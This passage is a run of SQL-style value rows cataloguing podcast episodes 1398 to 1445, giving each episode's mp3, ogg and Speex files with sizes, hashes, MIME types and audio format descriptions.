(1398,'hpr1398.mp3','mp3',9777791,'fc3bc0fdb18523bb2a2cb5b7089fc021358fa163','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1398,'hpr1398.ogg','ogg',11309679,'3130323322324a7194dd48a21a5bab441564a6b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1398,'hpr1398.spx','spx',4366526,'c1bc573d79b80aa5b4b94694d8ad47d7ac677b8d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1399,'hpr1399.mp3','mp3',10899846,'afbb7cba54bf7ab36605e9979ad45be3077331dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1399,'hpr1399.ogg','ogg',10847395,'e7e0281dbd7327ee3497a72bde0147748c947aeb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1399,'hpr1399.spx','spx',4867711,'b177e52e85fffe76bcf02c5e06369d5e94280bd5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1400,'hpr1400.mp3','mp3',43197391,'f479c99491d41b703346c0b4e3fec902bdf1b257','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1400,'hpr1400.ogg','ogg',42351073,'ebbe303955c6f3abebbe37789a2856f708c4cbbf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1400,'hpr1400.spx','spx',19292022,'b9f077b686aba09be431a369eecab088cce84dae','application/ogg; charset=binary','Ogg data, Speex audio'),
(1401,'hpr1401.mp3','mp3',4611622,'40dc7bcb2dcd03664e191e4c6a01a366e57c3bc3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1401,'hpr1401.ogg','ogg',5160790,'655e1fefc37fa99933ad614f9be672f1f963986d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1401,'hpr1401.spx','spx',2059325,'89f0639defe10c8575939d1e6c79020f970f404a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1402,'hpr1402.mp3','mp3',5187706,'3376c658b66689a418488f8e54df2357ce2708d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1402,'hpr1402.ogg','ogg',6346619,'6723f39f1bbc1452817dede41c75cc8f451b31d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1402,'hpr1402.spx','spx',2316640,'239ed1bfdb6bfb96532444ffcc122a5199ff48dd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1403,'hpr1403.mp3','mp3',6733583,'0669f147293f69101731efbbc52962a2a818c2c8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1403,'hpr1403.ogg','ogg',8016296,'5da501248d9748ddfcd37051ea1617479f51cce5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1403,'hpr1403.spx','spx',3007120,'7b26802b846137a5fef9c395bffbd70073a56b10','application/ogg; charset=binary','Ogg data, Speex audio'),
(1404,'hpr1404.mp3','mp3',11723436,'191a7647f4500123c8183c9dba76ec74dce91cb4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1404,'hpr1404.ogg','ogg',12782071,'f9036c4ca4408c30d3b8e6b638808a4e05140d5e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1404,'hpr1404.spx','spx',5235498,'7d83f4047a6054f3f00ac3decee097e67b4752fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1405,'hpr1405.mp3','mp3',9998486,'d76749d8c633ef469c0d3eff04a00a3f1c0c2458','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1405,'hpr1405.ogg','ogg',10981551,'8da01a4fe9a5e98fd97fc85cb7d3de945cb02e67','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1405,'hpr1405.spx','spx',4465071,'798c30e34c6a7f06b1c62364efa74948a8b798a9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1406,'hpr1406.mp3','mp3',16677060,'2037a01070c6f011075e50b522a39b5f9344967b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1406,'hpr1406.ogg','ogg',19065643,'90fe10ce43f409558bdda23a7236d186635328bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1406,'hpr1406.spx','spx',7447805,'e8cfbc869faacf453da35b1b8991b600e94c4416','application/ogg; charset=binary','Ogg data, Speex audio'),
(1407,'hpr1407.mp3','mp3',12415152,'8adb52d307ab56a2328ee3932c3d5b407c70df55','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1407,'hpr1407.ogg','ogg',15807224,'9948c886f4d05dab14589c48fbe222407120a06c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1407,'hpr1407.spx','spx',5544391,'8b84442bb839b0e3b65c5aab3d60a971549f4a87','application/ogg; charset=binary','Ogg data, Speex audio'),
(1408,'hpr1408.mp3','mp3',8820090,'906637507473ba583b2d1aaf1164bb62e73743cb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1408,'hpr1408.ogg','ogg',10191191,'b88b0c1082ef95a8df004b1acb8400f3f8d598e7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1408,'hpr1408.spx','spx',3938851,'b15a53c99ae0cd13277d94ee9cf10d38afb6034c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1409,'hpr1409.mp3','mp3',3837135,'0da7f2451a6fe55419254da86432d6d792974402','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1409,'hpr1409.ogg','ogg',4317384,'cede9c16ed15d046c2a4ee65dcac6585dbca69b4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1409,'hpr1409.spx','spx',1713393,'3eff1df3dd4485f2a3f76a8e2423f6a6733cd990','application/ogg; charset=binary','Ogg data, Speex audio'),
(1410,'hpr1410.mp3','mp3',14845364,'ab32863b917db29d84f418234b123742bcf14771','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1410,'hpr1410.ogg','ogg',18215167,'3d6ed1e050c31529db70c1ff694fb0b5c62a4023','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1410,'hpr1410.spx','spx',6629835,'7eea77cf3ca80bf2fb3eeb0fabf1f7828b208356','application/ogg; charset=binary','Ogg data, Speex audio'),
(1411,'hpr1411.mp3','mp3',28726394,'340e9840091234529128504fa62607a52a8f074b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1411,'hpr1411.ogg','ogg',31918888,'6b646642432f53dee566911d298ab6ee3b477358','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1411,'hpr1411.spx','spx',12829182,'4d4a9558292a46e4d7e53465889464b7909f7cec','application/ogg; charset=binary','Ogg data, Speex audio'),
(1412,'hpr1412.mp3','mp3',26505150,'1e17338c52178f7e48f4b6fe5c2d535bb6f36521','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1412,'hpr1412.ogg','ogg',29874055,'f171aa2cbfffa67f04e1ec25b1067f6e67fd57d1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1412,'hpr1412.spx','spx',11837144,'fe5469c5405f6aedb5d7c70b33d2bd41ac817aff','application/ogg; charset=binary','Ogg data, Speex audio'),
(1413,'hpr1413.mp3','mp3',27923913,'5bc721cebe14b0c6738972a78b8ed11530831956','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1413,'hpr1413.ogg','ogg',30982065,'a1da659a642af86bb6a2867a0ac73c6e37615ad0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1413,'hpr1413.spx','spx',12470751,'f559824c9846a799494c782aeda4169fb8b7c281','application/ogg; charset=binary','Ogg data, Speex audio'),
(1414,'hpr1414.mp3','mp3',28372801,'b556d788cde4636b0f4eb4a702914252be8b16f6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1414,'hpr1414.ogg','ogg',30230193,'d5ce15309925269b41cfe9eff1a0344e29bccf31','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1414,'hpr1414.spx','spx',12671273,'df3db2a46223a1426fdc2a464bd7bf3fb6b83ffe','application/ogg; charset=binary','Ogg data, Speex audio'),
(1415,'hpr1415.mp3','mp3',8881074,'72555cd4f3456e6b7ac6f969cf19f09b5fc66b7f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1415,'hpr1415.ogg','ogg',9810464,'ab0cd984b5c4a551360a79120618babf93296f0e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1415,'hpr1415.spx','spx',3966023,'5de8241b95b2abadccf1e8f7642e95dc08b2ff1e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1416,'hpr1416.mp3','mp3',172764959,'7ecfc9817fd3297d732c6ba072711543b8924bd4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1416,'hpr1416.ogg','ogg',156025499,'c2c24a1851c0aef80ac8fe27684b6c561029c420','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1416,'hpr1416.spx','spx',77158223,'dfefaa08f368dd853489f43db1cdeb0cab363efb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1417,'hpr1417.mp3','mp3',153267372,'67f3c7854efb509b35cbe56685c36fd1a5d70b0e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1417,'hpr1417.ogg','ogg',149793465,'3aea5a6cc93df3ff96e5eacb90ffc1f826fd641d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1417,'hpr1417.spx','spx',68450452,'41af86128a958cfe2d53e58da9d51e7502453f86','application/ogg; charset=binary','Ogg data, Speex audio'),
(1418,'hpr1418.mp3','mp3',164418973,'b28628e2d94a624cfa5037571891dc252a5789f2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1418,'hpr1418.ogg','ogg',161383553,'807423d06a18d3f3a0539ab92ccb19694d45057a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1418,'hpr1418.spx','spx',73430888,'f5379548e43d8c80ee369dae5f5ec2d8f7d764f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1419,'hpr1419.mp3','mp3',149916416,'e1f9326f42c655408901ffafda13d0f59860d05e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1419,'hpr1419.ogg','ogg',151318804,'f072303fa506f94de30eaf5f69bcc5909f80c287','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1419,'hpr1419.spx','spx',66953878,'e8e6ec4839627cfba36cc9cd3d66cc276d8ecb42','application/ogg; charset=binary','Ogg data, Speex audio'),
(1420,'hpr1420.mp3','mp3',53599385,'2977113146b257def8c00e30e94f36f84b6cf3ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1420,'hpr1420.ogg','ogg',54219110,'d184cb5e0dd648f3e754a2372d168ed61e320be6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1420,'hpr1420.spx','spx',23937732,'c5072bd0ac50d04b3f1350215b062adbd6400311','application/ogg; charset=binary','Ogg data, Speex audio'),
(1421,'hpr1421.mp3','mp3',19421999,'84a4cb48b792c48fd5c05368b2be5b3435ee69f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1421,'hpr1421.ogg','ogg',24888399,'8afc17ee8bd0ad6955de12b0807f91554c986617','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1421,'hpr1421.spx','spx',8673725,'30a778d9458d82ae344dea46ab7cdfe59eb9657c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1422,'hpr1422.mp3','mp3',11462012,'bd1f3d8f03f41e51b7a5bd77f56cc013d973773e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1422,'hpr1422.ogg','ogg',13889124,'017a5edd05cb90300b7b4e6a53e56ffb388a393d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1422,'hpr1422.spx','spx',5118765,'b50a597d446ba061e7473fc2b75c783a3cc01c9f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1423,'hpr1423.mp3','mp3',6752513,'6b62c9152c4b551c140d7fbd4ae47072d075fac2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1423,'hpr1423.ogg','ogg',8417032,'681ae3c74fbe32560280ca65ce6a494f1761c9cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1423,'hpr1423.spx','spx',3017167,'084f5b672ea76b175f41ca4661cca1bfcd23839a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1424,'hpr1424.mp3','mp3',20962176,'02d831b3bc13dab388b78ada51c8f4fe4a145b72','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1424,'hpr1424.ogg','ogg',22605803,'96bb106938333659c30080b97ce76d7f58689af6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1424,'hpr1424.spx','spx',9361571,'963367625fdf04575d02b6cef8471a66d45bf848','application/ogg; charset=binary','Ogg data, Speex audio'),
(1425,'hpr1425.mp3','mp3',14801716,'3499a6dd432010171dcef2c2a7780a49c747ea8d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1425,'hpr1425.ogg','ogg',17788481,'f20ef051575a7bdd283746b6bd3c107aa3980787','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1425,'hpr1425.spx','spx',6610275,'f8271147198f0f1eddf8237ee2a1f1d0844bc28e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1426,'hpr1426.mp3','mp3',7777032,'0c883657cb0be52ffac2c6c31d792dd6913ee1fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1426,'hpr1426.ogg','ogg',8280341,'19837846548e5318007a1f2e130672b7cf94b06b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1426,'hpr1426.spx','spx',3472959,'fdebb3766ee405529af90ff3dc363da96720fd57','application/ogg; charset=binary','Ogg data, Speex audio'),
(1427,'hpr1427.mp3','mp3',11609304,'3ce47c8f58819613420688fff9d9159de353084c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1427,'hpr1427.ogg','ogg',13017774,'cd3290d33e0d623c7d9bf11ee44a517bb2f98186','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1427,'hpr1427.spx','spx',5184519,'beef866ee08ce36ad727b2b74484d37ba6f19c90','application/ogg; charset=binary','Ogg data, Speex audio'),
(1428,'hpr1428.mp3','mp3',6058134,'846ef9a33570ee3b88c94d42c87429e32dbf63cc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1428,'hpr1428.ogg','ogg',6708477,'9cb887f9a09f54afb9760cb656a9c8e7f3aa2a3f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1428,'hpr1428.spx','spx',2705529,'9705cf5a8732c9cf3e6d4f9d8e5bed63c953b36b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1429,'hpr1429.mp3','mp3',19995663,'7dfcc568055aa2d486f8bea935d921eeae29575c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1429,'hpr1429.ogg','ogg',19954115,'84a091c157734aa28124fe2075c180f347161a7d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1429,'hpr1429.spx','spx',8929922,'1dac8e505344b77c9a15cda8eb6fe8714e2be561','application/ogg; charset=binary','Ogg data, Speex audio'),
(1430,'hpr1430.mp3','mp3',18499149,'892174470db194376aff4ee4c82e8159ff89a6b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1430,'hpr1430.ogg','ogg',20345325,'3f7ff9ef98c8518df8b0461c63b644efbd7dcdc6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1430,'hpr1430.spx','spx',8261628,'1909a280d3d489488a82054afe7d8e0bbb36d43e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1431,'hpr1431.mp3','mp3',18086840,'d9274204a76a3717fb77483e645a1fdf6cf238b8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1431,'hpr1431.ogg','ogg',19733430,'ead4702df57add13a188e99d08c1d916ec03f2b4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1431,'hpr1431.spx','spx',8077479,'103ffaf6356b0f7308d72ad19caba6958a2ce2fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1432,'hpr1432.mp3','mp3',9190503,'38872cb5a070e7aaa56360bfd2a283f886cba375','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1432,'hpr1432.ogg','ogg',10181878,'6602dc46dfa04384fe7e302dd3537864dbc605d6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1432,'hpr1432.spx','spx',4104302,'87c112600dfbdcd47912814cb077c677ae3b4f3b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1433,'hpr1433.mp3','mp3',5287036,'e34cc00ba6614164d26c514b605b22cc45583e6a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1433,'hpr1433.ogg','ogg',5983692,'f65b52903f5be98803c935a68dd779f7217d6a72','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1433,'hpr1433.spx','spx',2360889,'6d57068669e2651a83923d6a05c1363e33e0fa8b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1434,'hpr1434.mp3','mp3',4552514,'b360c3b48feb41436a93dcfbd0084f4596e83268','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1434,'hpr1434.ogg','ogg',5136258,'e6711425bfcc61b9aab8e2aadaae9cd0092306c4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1434,'hpr1434.spx','spx',2032931,'d5d5a9b7e5700930801c6d94404eebdb56d499c7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1435,'hpr1435.mp3','mp3',8003170,'de182422074e70f4f5a08e4a3209a11006f46d27','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1435,'hpr1435.ogg','ogg',9704183,'45e597773541d6e6d645c3c14671c83e6eb12f95','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1435,'hpr1435.spx','spx',3574025,'2402c7898dea2860ee7fd7367ba1901c007d267b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1436,'hpr1436.mp3','mp3',97658445,'bd72ddca5439ec697cb580beb0e526d11a47ae1d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1436,'hpr1436.ogg','ogg',101915728,'4a3ad02987b8a27d240a8426b633c775d2d22f0a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1436,'hpr1436.spx','spx',43614992,'c2c10640d566e75c7e15a65857d4fac4f607d713','application/ogg; charset=binary','Ogg data, Speex audio'),
(1437,'hpr1437.mp3','mp3',110099209,'37e19f06fd5c67d7cfd50b8ffebbd63087e76797','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1437,'hpr1437.ogg','ogg',108487146,'aeeffd0b2c19a3fe193dbfb0350f6ac1b49ad6a4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1437,'hpr1437.spx','spx',49171227,'a5478e3aa006ed34203bcb7a168fa993beb775c5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1438,'hpr1438.mp3','mp3',112234353,'1e85268a7ef5a2adeab58df12c184bae09c0e64b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1438,'hpr1438.ogg','ogg',115039937,'b323c23b4e045c14205afb008af3955076cbdd74','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1438,'hpr1438.spx','spx',50124780,'855002034a14537d21e88e5a287f4195a6f06d38','application/ogg; charset=binary','Ogg data, Speex audio'),
(1439,'hpr1439.mp3','mp3',149117370,'854511e17d6650106a7feebd0e2fe8005dfba0c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1439,'hpr1439.ogg','ogg',145639046,'39e6b121807e45babfcebd3c33b0c45711a47c75','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1439,'hpr1439.spx','spx',66597118,'de036985581ad0fa4cc554b67541c080b180b831','application/ogg; charset=binary','Ogg data, Speex audio'),
(1440,'hpr1440.mp3','mp3',7731302,'8a5ae2ded8a42c40a124ac035156f432cc993fcc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1440,'hpr1440.ogg','ogg',9838994,'2af86cffb2d354422e8fb2e8378ac9f31526388e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1440,'hpr1440.spx','spx',3452559,'d3d41c220e55492cfcd3bcfd54319053a80f9827','application/ogg; charset=binary','Ogg data, Speex audio'),
(1441,'hpr1441.mp3','mp3',62574847,'0d8289905bc18b1043bb9a5752c65f9b3d594ba7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1441,'hpr1441.ogg','ogg',62991839,'efbba36f5813621e7d2697cae30752cfbb98f7ce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1441,'hpr1441.spx','spx',27946222,'a8e6b8c84a906618bcf6b258237ca022ab0203b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1442,'hpr1442.mp3','mp3',10545824,'5c029953542f1adeeeb5abee70abdac70e686b25','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1442,'hpr1442.ogg','ogg',11891871,'d2cded29581d14bad27f8e284b0386597cece058','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1442,'hpr1442.spx','spx',4709551,'d66d7db21aafe83eba0023cc7044238b596e0351','application/ogg; charset=binary','Ogg data, Speex audio'),
(1443,'hpr1443.mp3','mp3',8266258,'934b12dfa0bf5a35a5065d20f821830ccf2dcdfe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1443,'hpr1443.ogg','ogg',9450966,'83f3ccb0448dc8cb648d3ca5e024b8b22b272589','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1443,'hpr1443.spx','spx',3691420,'1a4acfd91c2cbebcd06e277096e111b2f8cf23fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(1444,'hpr1444.mp3','mp3',6448758,'f2c2b90e04810bc691bded77b53683001d61a520','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1444,'hpr1444.ogg','ogg',6596527,'d637edf218d38b94d06295e6aad7f7f43ba59486','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1444,'hpr1444.spx','spx',2879710,'57850ce6c0c6c80fb49ac3b9055e1434beb438ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(1445,'hpr1445.mp3','mp3',4856149,'49dd2c4f1c26007d2856e53cdec0c2452fb0220c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1445,'hpr1445.ogg','ogg',5916406,'40cae6fb8a864516203be099b84f2263f9b01e23','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1445,'hpr1445.spx','spx',2168536,'f9e0c4f0efe622c10db96fd3987cd5f1c125b0ce','application/ogg; charset=binary','Ogg data, Speex audio'),
